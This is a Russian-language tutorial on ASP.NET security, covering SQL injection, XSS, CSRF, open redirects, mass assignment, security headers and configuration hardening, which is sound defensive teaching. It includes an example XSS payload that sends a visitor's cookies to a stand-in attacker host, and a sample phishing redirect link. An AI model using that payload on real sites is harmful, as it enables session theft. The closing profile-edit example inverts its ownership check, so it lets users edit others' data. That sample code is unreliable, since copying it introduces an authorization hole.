Содержание
ASP.NET MVC — не самый трендовый, но довольно популярный стек в среде веб-разработчиков. С точки зрения противодействия хакерам, его стандартный функционал дает вам кое-какой базовый уровень безопасности, но для защиты от абсолютного большинства хакерских атак нужен дополнительная уровень защиты. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET любой разработчик (будь то Core, MVC, MVC Razor или Web Forms).
Начнем со всем известных видов атак.
SQL Injection
Как ни странно, но в 2017 году injection и, в частности, SQL injection находятся на первом месте среди «Toп-10 рисков безопасности OWASP» (Open Web Application Security Project). Данный тип атаки подразумевает, что введенные пользователем данные используются на серверной стороне в качестве параметров запроса.
Пример классической SQL-инъекции скорее характерен именно для приложений Web Forms. От атак помогает защититься использование параметров в качестве значений запроса:
1 2 3 |
string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters["@ID"].Value = customerID; |
Если вы разрабатываете MVC-приложение, то Entity Framework прикрывает некоторые уязвимости. Получить сработавшую в MVC/EF-приложении SQL-инъекцию нужно умудриться. Однако это возможно, если вы выполнните SQL-код с помощью ExecuteQuery или вызовите плохо написанные хранимые процедуры.
Несмотря на то что ORM позволяет избежать SQL-инъекции (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит, и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex укажи диапазон ^[a-zA-Z]+$. А если в поле должны быть введены цифры, то укажите это как требование:
1 2 |
[RegularExpression(@"\d{5}", ErrorMessage = "Индекс должен содержать 5 цифр")] public string Zip { get; set; } |
В Web Forms ограничить значения вы можете с помощью валидаторов. Пример:
1 2 3 |
<asp:TextBox id="txtName" runat="server"></asp:TextBox> <asp:RegularExpressionValidator id="nameRegex" runat="server" ControlToValidate="txtName" ValidationExpression="^[a-zA-Z'.\s]{1,40}$" ErrorMessage="Ошибочное значение в поле имени" /> |
Начиная с .NET 4.5 Web Forms используют Unobtrusive Validation. А это значит, что не требуется писать какой-то дополнительный код для проверки значения формы.
Валидация данных, в частности, может помочь защититься от еще одной всем известной уязвимости под названием cross-site scripting (XSS).
XSS
Типичный пример XSS — добавление скрипта в комментарий или запись в гостевую книгу. Выглядеть он может так:
1 |
<script>document.location='https://verybadcoolhacker.com/?cookie='+encodeURIComponent(document.cookie)</script> |
Как вы понимааете, в данном примере куки с вашего сайта передаются в качестве параметра на какой-то хакерский ресурс.
В Web Forms можно совершить ошибку с помощью примерно такого кода:
1 |
<p>Извините <%= username %>, но пароль ошибочный</p> |
Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта, можно как минимум использовать другое ASP.NET-выражение: <%: username %>, которое энкодит свое содержимое.
Если мы используем Razor, то строки автоматически энкодируются, что сводит возможность реализации XSS к минимуму — злоумышлений сможет ее провернуть, только если вы грубо ошибетесь, например используя @Html.Raw(Model.username) или юзая в своей модели MvcHtmlString вместо string.
Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В .NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder и UrlEncoder.
Следующий пример вернет строку <script>:
1 |
string encodedString = HtmlEncoder.Default.Encode("<script>"); |
В классическом .NET используется HttpUtility.HtmlEncode. А начиная с .NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:
1 |
<httpRuntime targetFramework="4.7" encoderType="System.Web.Security.AntiXss.AntiXssEncoder" /> |
Таким образом, сохранив старый код HttpUtility.HtmlEncode, мы будем пользоваться новым и более стойким к уязвимостям классом (также в новом коде будут задействованы старые классы HttpServerUtility и HttpResponseHeader).
Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением. Кроме того, если мы используем какую-то строку, введенную пользователем, в качестве параметра для передачи в URL, то обязательно нужно использовать UrlEncoder.
Cross-Site Request Forgery (CSRF)
Википедия в «алиэкспрессовском» стиле утверждает, что на русском CSRF звучит как «межсайтовая подделка запроса». При таком типе атаки вредоносный сайт, на который заходит пользователь, отправляет запросы на другой ресурс. На хороший сайт, на котором пользователь зарегистрирован и который он недавно посещал. Может случиться так, что информация об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то скрытое вредоносное действие.
Избежать этой атаки в MVC помогает всем известный хелпер @Html.AntiForgeryToken(), добавленный во View, и добавленный перед action контроллера атрибут [ValidateAntiForgeryToken]. Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того, как пользователь совершает запрос, он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохраняться как в заголовке, так и в скрытом поле или в кукисах.
Страницы Razor защищены от XSRF/CSRF-атак по умолчанию. А вот если мы используем AJAX-запросы, то есть возможность отправить токены в заголовке. По сравнению с использованием AntiForgeryToken это не так просто. Для настройки этой возможности ASP.NET Core использует сервис Microsoft.AspNetCore.Antiforgery.IAntiforgery. Классические ASP.NET-приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.
Подробнее можно почитать здесь: Anti-CSRF and AJAX.
Open redirect attacks
Будь осторожен с редиректами! Следующий код очень опасен:
1 |
Response.Redirect(Request.QueryString["Url"]); |
Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассмотреть адрес полностью (особенно если он длинный) и кликнуть ссылку, таким образом перейдя на вредоносный сайт с вашего, хорошего сайта. Эта уязвимость может использоваться, в частности, для фишинга. Пример фишинговой ссылки:
1 |
http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com |
Многие пользователи, получив e-mail со ссылкой, смотрят, совпадает ли домен, и совсем не ожидают переброски на злодейский ресурс. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (решив, что случайно вышли из аккаунта). После чего, кстати, могут быть перенаправлены злоумышленниками обратно на настоящий сайт.
Этот вид атак касается и MVC. В следующем примере происходит проверка на то, является ли ссылка локальной:
1 2 3 4 5 |
private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // …. } |
Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect:
1 2 3 4 |
private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); } |
В общем, старайся никогда не доверять полученным данным.
Mass assignment
Разберем эту уязвимость на примере. Допустим, в нашем веб-сайте есть простая модель с двумя свойствами:
1 2 3 4 5 |
public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } } |
И есть обычная и довольно простая вьюшка:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
@model UserModel <form asp-action="Vulnerable" asp-Controller="Home"> <div class="form-group"> <label asp-for="Name"></label> <input class="form-control" type="text" asp-for="Name" /> </div> <div class="form-group"> @if (Model.IsAdmin) { <i>You are an admin</i> } else { <i>You are a standard user</i> } </div> <button class="btn btn-sm" type="submit">Submit</button> </form> |
С помощью этой вьюшки можно редактировать только имя пользователя, не так ли?
А теперь давай перейдем к столь же простому коду:
1 2 3 4 5 |
[HttpPost] public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); } |
Все ли здесь нормально? Как оказывается, нет. А все из-за того, что экшен помечен как HttpPost. Чтобы убедится в этом, достаточно открыть утилиту вроде Postman или Fiddler и отправить POST-запрос на адрес с указанием параметров id и IsAdmin. Если мы тестируем локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.
Как видно на скриншоте, получен доступ к секретной информации (в HTML-коде есть строка You are an admin).
Как защититься от этого типа атаки?
Самый простой вариант — не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если этого не избежать, нужно быть готовым к тому, что передано может быть все что угодно. Один из вариантов — это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:
1 |
[Editable(false)] |
Header’ы против атак
Защититься от хакеров помогает установка определенных значений в заголовок запроса. Заголовки поддерживаются большинством современных браузеров (да-да, старые версии идут лесом), поэтому сейчас мы рассмотрим некоторые популярные виды атак, избежать которых поможет установка Header’ов.
XSS
Для дополнительной защиты можно использовать заголовок content-security-policy. Он позволит загружать контент лишь с определенных ресурсов. Например, можно разрешить запуск скриптов только с текущего сайта:
1 |
content-security-policy: script-src 'self' |
Есть еще возможность указать доверенные сайты, доступ к содержимому которых разрешен. Следующий заголовок тоже помогает защититься от XSS, хотя, как правило, он включен браузерами по умолчанию: x-xss-protection. Пример:
1 |
x-xss-protection: 1; mode=block |
Clickjacking
Сайт может показать пользователю окошко, ссылку или баннер, поверх которого добавлена скрытая кнопка/ссылка внутри прозрачного iframe. И получается, что пользователь кликает на что-то, на что он хочет кликнуть, но при этом фактически он щелкает на скрытый объект против своей воли.
Установка заголовка X-FRAME-OPTIONS со значением DENY запретит помещать страницы твоего сайта в iframe. Если у вас на сайте нет фреймов, то это хороший вариант. Если же вы используете iframe для отображения страниц, то значение SAMEORIGIN разрешит отображать страницы сайта во фрейме, но только на других страницах того же самого вашего сайта.
MIME sniffing
Зачастую хакер может загрузить вредоносный код в виде файла с совершенно безобидным расширением. Допустим, используя в качестве тега video. И может случиться так, что браузер распознает файл как код и выполнит его. Чтобы этого не произошло, может использоваться установка заголовка X-Content-Type-Options: nosniff. При получении этого заголовка браузер будет проверять, соответствует ли формат содержимого файла тому, который указан (эта проверка и называется MIME sniffing).
Referrer-Policy
Браузеры автоматически добавляют в заголовки запросов при переходе на сайт ссылку на тот, с которого был совершен переход. Это очень удобно для аналитики. Например, не составит большого труда написать код, который соберет статистику со списком ресурсов, откуда посетители заходят на ваш сайт. Однако если в строке адреса на вашем сайте имеются запросы с какой-то конфиденциальной информацией, то очень желательно было бы скрыть эту информацию от других сайтов. Например:
1 |
http://www.somegoodsite.com/Edit?id=34543276654 |
Для того чтобы скрыть ссылку при переходе на чужой сайт, можно установить заголовок со значением Referrer-Policy: no-referrer.
Каким образом можно добавить на сайт заголовки запросов?
Заголовки запросов можно установить как с помощью настроек IIS, так и из кода приложения. Настройку IIS рассматривать не будем, а поговорим про варианты установки заголовков из кода.
Чтобы добавить заголовок в ASP.NET Core, можно создать Middleware. Middleware, как можно понять из названия, — это промежуточный код, находящийся посередине цепочки процесса запросов и ответов. Вот пример пары классов, позволяющих добавить заголовок X-Frame-Options:DENY:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
public class HeadersMiddleware { private readonly RequestDelegate _next; public HeadersMiddleware(RequestDelegate next) { _next = next; } public async Task Invoke(HttpContext context) { IHeaderDictionary headers = context.Response.Headers; headers["X-Frame-Options"] = "DENY"; await _next(context); } } public static class HeadersMiddlewareExtensions { public static IApplicationBuilder UseHeadersMiddleware(this IApplicationBuilder builder) { return builder.UseMiddleware<HeadersMiddleware>(); } } |
Зарегистрировать получившийся Middleware можно в методе Configure файла Startup.cs одной строкой:
1 |
app.UseHeadersMiddleware(); |
Теперь среди списка заголовков, полученных от сервера, мы сможем увидеть наш недавно добавленный X-Frame-Options.
Можно даже не использовать Middleware, а добавить заголовок сразу в метод Config файла Startup.cs, заменив
1 |
app.UseHeadersMiddleware(); |
на
1 2 3 4 5 |
app.Use(async (context, next) => { context.Response.Headers.Add("X-Frame-Options", "SAMEORIGIN"); await next(); }); |
Этот способ выглядит проще. Кроме того, с его помощью можно установить заголовки как для всего контента, так и только для динамического (соответственно, добавить код до строки app.UseStaticFiles() и после).
В классическом ASP.NET заголовок добавляется немного иначе. Есть два варианта. Первый — это добавить в секцию system.webServer файла web.config теги. Например, такие:
1 2 3 4 5 6 |
<httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> <remove name="X-Powered-By" /> </customHeaders> </httpProtocol> |
Заметьте, что можно не только добавлять, но и удалять теги. В примере удаляется заголовок X-Powered-By. Чем меньше информации мы раскрываем, тем лучше, не так ли? Результат на скриншоте.
Кроме заголовка X-Powered-By, вполне можно убрать еще и заголовки Server и X-AspNet-Version.
Второй вариант добавления заголовков — это добавить метод Application_BeginRequest в файл Global.asax:
1 2 3 4 |
protected void Application_BeginRequest(object sender, EventArgs e) { HttpContext.Current.Response.AddHeader("X-FRAME-OPTIONS", "DENY"); } |
nwebsec
Для добавления заголовка можно воспользоваться и довольно популярным NuGet-пакетом под названием NWebsec. Его автор — Андре Клингсхейм (André N. Klingsheim).
NWebsec можно использовать как с обычными ASP.NET-приложениями, так и с Core 1.1. В приложении ASP.NET после установки пакета в web.config появятся следующие теги:
1 2 3 4 |
<nwebsec> <httpHeaderSecurityModule xmlns="http://nwebsec.com/HttpHeaderSecurityModuleConfig.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="NWebsecConfig/HttpHeaderSecurityModuleConfig.xsd"> </httpHeaderSecurityModule> </nwebsec> |
В качестве их содержимого можно добавить установку заголовков. Скажем, такой вариант:
1 2 3 4 5 6 7 8 |
<redirectValidation enabled="true" /> <securityHttpHeaders> <x-XSS-Protection policy="FilterEnabled" blockMode="true"/> <content-Security-Policy enabled="true"> </content-Security-Policy> <x-Frame-Options policy="Deny"/> <x-Content-Type-Options enabled="true" /> </securityHttpHeaders> |
Если вы используете ASP.NET Core, то рекомендуемый вариант добавления заголовков выглядит так:
1 2 |
app.UseXContentTypeOptions(); app.UseReferrerPolicy(opts => opts.NoReferrer()); |
перед
1 |
app.UseStaticFiles(); |
и после
1 2 |
app.UseXfo(xfo => xfo.Deny()); app.UseRedirectValidation(); |
Один большой минус NWebsec — версия .NET Core 2.0 пока что не поддерживается.
Самые страшные ошибки конфигурирования
Хранение строки подключения к базе данных
Если вы работаете в полноценном ASP.NET, то лучший вариант хранения строки подключения — это файл web.config. Причем храните строку не в открытом виде, а в зашифрованном. Сделать это можно с помощью утилиты aspnet_regiis.exe. Самый простой вариант — запустить Developer Command Prompt в режиме администратора и выполнить команду:
1 |
aspnet_regiis.exe -pef connectionStrings C:\inetpub\wwwroot\YourAppName |
Два параметра команды — это раздел, который необходимо зашифровать (в данном случае — connectionStrings1), и путь к директории, в которой находится файл web.config.
Если вы работаете в ASP.NET Core, то можете использовать Secret Manager tool для хранения строк во время разработки. Никакого готового варианта для продакшена .NET Core пока что нет. Но если вы хостите приложение в Azure, то конфиденциальную информацию можно хранить в параметрах приложения.
При этом саму строку подключения лучше вынести в отдельный файл. Из соображений безопасности этот файл неплохо бы исключить из системы контроля версий.
1 2 |
<connectionStrings configSource="ConnectionStrings.config"> </connectionStrings> |
Таким же образом можно вынести и конфиденциальные параметры:
1 2 |
<appSettings file="AppSettingsSecrets.config"> </appSettings> |
В самом файле необходимо просто указать то содержимое, которое было бы использовано в качестве содержимого тегов.
Скрытие сообщений об ошибке
Видели когда-нибудь «желтый экран смерти» с текстом кода, в котором возникла ошибка? Уверен, что никогда. 🙂 Шутка. Я не случайно поместил эту рекомендацию сразу после «строки подключения». Тем нагляднее будет пример, в котором злоумышленник может искусственным образом создать ошибку и получить полезную для себя информацию. В идеальном случае это может быть строка подключения. Иногда даже мелочь может сократить время поиска уязвимостей сайта! Если у нас классическое приложение ASP.NET, то в web.config режим CustomErrors обязательно оставляем On или хотя бы RemoteOnly:
1 |
<customErrors mode="On" /> |
В ASP.NET Core можно разделить отображение для режима разработки и для продакшена с помощью NuGet-пакета Microsoft.AspNetCore.Diagnostics. Например, для настройки отображения сообщения об ошибке в метод Configure класса StartUp можно добавить:
1 2 3 4 5 6 7 8 9 |
env.EnvironmentName = EnvironmentName.Production; if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } else { app.UseExceptionHandler("/error"); } |
Еще несколько ошибок конфигурирования web.config
Если вдруг у вас в web.config случайно попали настройки трейсинга или дебага, то на продакшен-сервере обязательно поставьте значения false.
1 2 |
<trace enabled="false" localOnly="true" /> <compilation debug="false" targetFramework="4.5" /> |
Чтобы взломщик не смог получить доступ к файлу куки (скажем, с помощью XSS), значение следующего параметра должно быть true:
1 |
<httpCookies httpOnlyCookies="true" requireSSL="false"/> |
Broken Authentication and Session Management
Для хранения паролей и другой конфиденциальной информации используйте только стойкие хеши с salt. OWASP рекомендует Argon2, PBKDF2, scrypt и bcrypt.
Используй Forms authentication только для интранет-сайтов. Для веба лучше юзать Identity. И кстати, не забудьте в Identity ограничить число попыток ввода пароля, добавив в метод ConfigureServices файла Startup.cs следующий код:
1 2 3 4 5 |
services.Configure<IdentityOptions>(options => { options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30); options.Lockout.MaxFailedAccessAttempts = 10; }); |
Если вы разрешаете пользователю редактировать свои данные, то проверяйте, действительно ли он меняет именно их (помним о том, что полученным данным не стоит доверять):
1 2 3 4 5 6 7 8 9 |
public ActionResult EditProfileInfo(int id) { var user = _context.Users.FirstOrDefault(e => e.Id == id); if (user.Id != _userIdentity.GetUserId()) { // Редактируем данные } // … } |
Заключение
В этой статье я постарался собрать все, что может пригодиться разработчику на ASP.NET в плане безопасности. «Все» не получилось. 🙂 Из моего поля зрения выпали, например, ошибки конфигурирования IIS… Но надеюсь, что получилось многое: этого материала вам хватит, чтобы усвоить основные правила безопасной разработки и не совершать грубых ошибок.